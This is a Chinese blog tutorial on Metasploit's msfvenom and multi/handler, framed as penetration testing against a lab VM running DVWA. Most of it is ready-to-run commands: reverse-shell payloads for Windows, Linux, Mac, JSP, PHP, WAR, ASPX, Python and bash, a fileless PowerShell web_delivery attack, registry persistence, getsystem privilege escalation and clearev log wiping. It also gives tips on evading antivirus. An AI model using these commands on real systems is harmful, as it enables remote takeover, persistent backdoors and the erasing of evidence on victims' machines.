metasploit怎么用? 进阶(msfvenom=payloads+encoders)篇 (゚益゚メ) 渗透测试

971 阅读9分钟

文章目录


这边博客是接着我上一篇博客 metasploit怎么用? 基础使用篇 (゚益゚メ) 渗透测试之后的,如果本片中有看不懂的地方,推荐你先去看一下第一篇!

msfvenom介绍

metasploit中有大量的攻击载荷,而msfvenom就是用于快速创建我们需要的攻击载荷并生成指定平台运行的程序,实际上msfvenom就是攻击载荷(payloads)和编码器(encoders)的组合工具,他是独立于msf控制台(msfconsole)之外的,无法在控制台内直接调用。
在这里插入图片描述

属性属性全拼作用
-l–list列出所有可用的项目(查看所有属性:-l all)
-p–payload要使用的攻击载荷(如果被设置为 -,那么从标准输入流中读取。)几乎支持全平台。(--list-options可用查看攻击载荷的属性, -l payloads: 列出所有攻击载荷)
-n–nopsled指定 无害填充 在 攻击载荷 中的数量(-l nops: 列出所有无害填充, --pad nop:使用无害填充(nopsled)指定的攻击大小作为总攻击载荷大小,自动为无害填充添加或减去数量)
-f–format指定 攻击载荷 的输出格式(-l formats:列出所有可用的输出格式, 如果没有指定格式,可以使用raw来代替)
-e–encoder指定使用的编码器(使用-l encoders :列出所有的编码器)
-a–arch指定目标系统架构(-l archs: 列出的所有支持的架构)
–platform指定目标系统平台(-l platforms: 列出的所有支持的平台)
-s–space设置未经编码的 攻击载荷 的最大长度(--encoder-space:编码后的 Payload的最大长度)
-b–bad-chars设置需要在 攻击载荷 中避免出现的字符,例如:’\0f’、’\x00’等
-i–iterations设置 攻击载荷 的编码次数
–smallest尽可能生成最短的 攻击载荷
-o–out保存 攻击载荷 到文件
-c–add-code指定一个附加的 win32 壳文件
–encrypt要应用于外壳代码的加密或编码类型(-l encrypt: 列数所有加密或编码类型)
-x–template指定一个特定的可执行文件作为模板
-k–keep保护模板程序的功能,注入的 攻击载荷 作为一个新的进程运行
-t–timeout等待目标有效载荷相应的时间(默认值30,0表示禁用)
-v–var-name指定用于某些输出格式的自定义变量名
–service-name生成二进制文件时要使用的名称
–sec-name生成大型Windows二进制文件时要使用的新名称。默认值:随机4个字符的alpha字符串
–encrypt key用于–encrypt的密钥
–encrypt iv初始化–encrypt向量

生成攻击载荷

攻击载荷区分

  • 分段(staged): 在攻击载荷文件中,用斜杠/代表分段,比如:linux/x86/meterpreter/reverse_tcp

    • 分段的攻击载荷: 体积小,传输快,不容易被发现,但是功能少,一般只负责建立网络连接,想要进入后渗透阶段还需要使用其他工具,分阶段攻击。
  • 不分段(stageless): 在攻击载荷文件中,用下划线_连接,比如:linux/x86/meterpreter_reverse_tcp

    • 不分段的攻击载荷: 体积大,但功能齐全,包含了后渗透的所有部分和必须的扩展,不需要在分阶段在攻击。

常用攻击载荷生成语句

  • linux: (这里的攻击载荷为分段的)
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<接收IP> LPORT=<连接端口> -f elf > 文件名称.elf
  • Windows: (如果想要看此攻击载荷具体信息可以输入msfvenom -p windows/meterpreter/reverse_tcp --list-options)
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<接收IP> LPORT=<连接端口> -f exe > 文件名称.exe
  • Mac: (这里的攻击载荷是不分段的)
    msfvenom-p osx/x86/shell_reverse_tcp LHOST=<接收IP> LPORT=<连接端口> -f macho > 文件名称.macho
  • jsp:(如果我们拿到了对方的网络控制台,可以上传一个后台使用编程语言的攻击载荷)
    msfvenom -p java/jsp_shell_reverse_tcp LHOST=<接收IP> LPORT=<连接端口> -f jsp > 文件名称.jsp
  • php:(因为-f中没有PHP格式支持,所以我们这里使用了raw)
    msfvenom -p php/meterpreter/reverse_tcp LHOST=<接收IP> LPORT=<连接端口> -f raw > 文件名称.php
  • war:(一些阿帕奇的后台中存在war包上传接口可供我们利用)
    msfvenom -p java/jsp_shell_reverse_tcp LHOST=<接收IP> LPORT=<连接端口> -f war> 文件名称.war
  • asp:(如果知道的对方信息够多,我们可以生成一些特定的属性来优化攻击载荷,比如说下方的-a指定了处理器架构,--platform指定了目标使用的系统等,保存文件-o和上述我使用的重定向符>效果相同,都是将文件保存进入指定的文件内。)
    msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=<接收IP> LPORT=<连接端口> -f aspx -o 文件名称.aspx
  • python:(生成常用的脚本语言运行也试是一个很不错的选择,并且py文件,一般不会报毒)
    msfvenom -p python/meterpreter/reverse_tcp LHOST=<接收IP> LPORT=<连接端口> -f py > shell.py
  • bash:(这是linux中非常常用的一个控制台,在很多Windows中也能直接运行。)
    msfvenom -p cmd/unix/reverse_bash LHOST=<接收IP> LPORT=<连接端口> -f sh > shell.sh

实际应用

首先我们使用msfvenom生成一个后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.6 LPORT=6523 -f exe > test.exe

在这里插入图片描述
然后在msf控制台中进入一个漏洞利用exploit/multi/handler程序,在设定攻击载荷windows/meterpreter/reverse_tcp 设置用于接收目标控制台的IP和端口(这里的IP和端口需要和上方生成后面时使用的一致。)

# exploit/multi/handler模块是一个攻击载荷处理程序,用于接收我们生成攻击载荷的连接。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.3.6
set lport 6523 

看不懂上述的命令的话,先去看一下我第一篇博客,里面有比较详细的命令介绍
在这里插入图片描述
现在我们把之前生成的后门文件先弄到目标主机中(在真实环境中,在目标植入后门的方式有很多,比如利用一些web控制台,或者msf中的session都可以实现,我这样因为就是一个虚拟机,我就直接将木马拖入进去了。)
在我们的靶机上运行攻击载荷后,msf中就可以获取到连接。
在这里插入图片描述
exploit/multi/handler常用配置(想查看所有配置,可以在进入其中后use exploit/multi/handler输入advanced)

  1. set ExitOnSession False: 如果遇到session连接不稳定,刚连接就断开,可以在接收到session后,继续监听端口,保持job存活
  2. set SessionCommunicationTimeout 0: 默认策略中,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0
  3. set SessionExpirationTimeout 0: 一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关
  4. exploit -j -z: 后台持续监听,-j表示后台任务,-z表示成功后不主动发送stage,使用jobs命令查看和管理后台任务。jobs-K结束所有任务
  5. handler -H <接收IP> -P <监听端口> -p windows/meterpreter/reverse_tcp: 快速启动监听
    在这里插入图片描述

无文件攻击

上述生成木马文件攻击时,我们的木马大部分都可能会被静态杀毒软件查杀,无法正常使用,但msf中还提供了一种可以不用生成文件的攻击载荷,存放于exploit/multi/script/web_delivery,下面我们就来使用这种方式做一次模拟攻击测试。

简单搭建靶场

这里推荐使用一些比较老的系统,比如说Windows7,Windows2008之类的系统做靶机。

  1. 下载安装虚拟机。(这步默认都会)
  2. 下载phpstudy:www.xp.cn/,快速搭建环境,安装好…
    在这里插入图片描述
  3. 下载dvwa:gitee.com/hongsofwing…C:\phpstudy_pro\WWW\phpstudy_pro安装目录中的www文件夹中),打开dvwa中的config文件,把其中的config.inc.php.dist修改为config.inc.php,并如下图所示,修改数据库连接用户名密码(phpstudy默认的数据库用户名密码和库都为root)
    在这里插入图片描述
  4. 然后我们连接靶机(直接在url中输入靶机ip即可),将其数据库初始化。之后会弹出登陆界面默认用户名为admin,密码为password
    在这里插入图片描述
  5. 攻击前,我们最好把难度调低一点。
    在这里插入图片描述

攻击测试

  1. 查找注入点,因为我们调节的难度较低,所以这里是存在一个注入点(这里利用了xss攻击,可以看我的博客->xss攻击-面向前端的安全攻击<-来具体了解这种攻击手法)
    在这里插入图片描述

  2. 既然目标主机存在任意命令执行漏洞,我们可以使用msfexploit/multi/script/web_delivery(web_delivery)组件来对目标主机建立连接。

    1. 进入web_delivery模块中,我们可以看到他当前默认是使用了python的攻击载荷,将python作为了攻击脚本语言,但我们的目标主机上并没有python,我们当前已知的信息中,目标主机是Windows系统,并且支持PHP,因为是Windows主机,我们可以选择使用powershell。在这里插入图片描述
    2. 将攻击载荷修改为set payload windows/meterpreter/reverse_tcp,并且指定使用PSH作为脚本set target 2
      在这里插入图片描述
    3. 在使用set lhost 监听机IP设置我们的监听机的IP后即可run启动,启动后msf会自动生成一串可由powershell执行的代码,利用xss攻击,我们让目标机执行此命令即可获取到目标主机的控制权限。
      在这里插入图片描述

msf常用命令

添加注册表(植入后门)

添加注册表主要作用就是将我们的攻击载荷设置为开机自启,保证一个持久控制,目标重启后,我们还能继续连接。这里我们主要使用的模块是:use exploit/windows/local/registry_persistence,进入模块后,我们只需要指定需要植入后门的目标即可自动植入。植入注册表的具体位置也会说明。
在这里插入图片描述

提升权限

在目标主机的控制台中(sessions),输入getsystemmsf就会帮我们自动尝试提权,但是提权可能会失败。
在这里插入图片描述

清除记录

在目标主机的控制台中(sessions),输入clearevmsf即可自动清除相关入侵记录。
在这里插入图片描述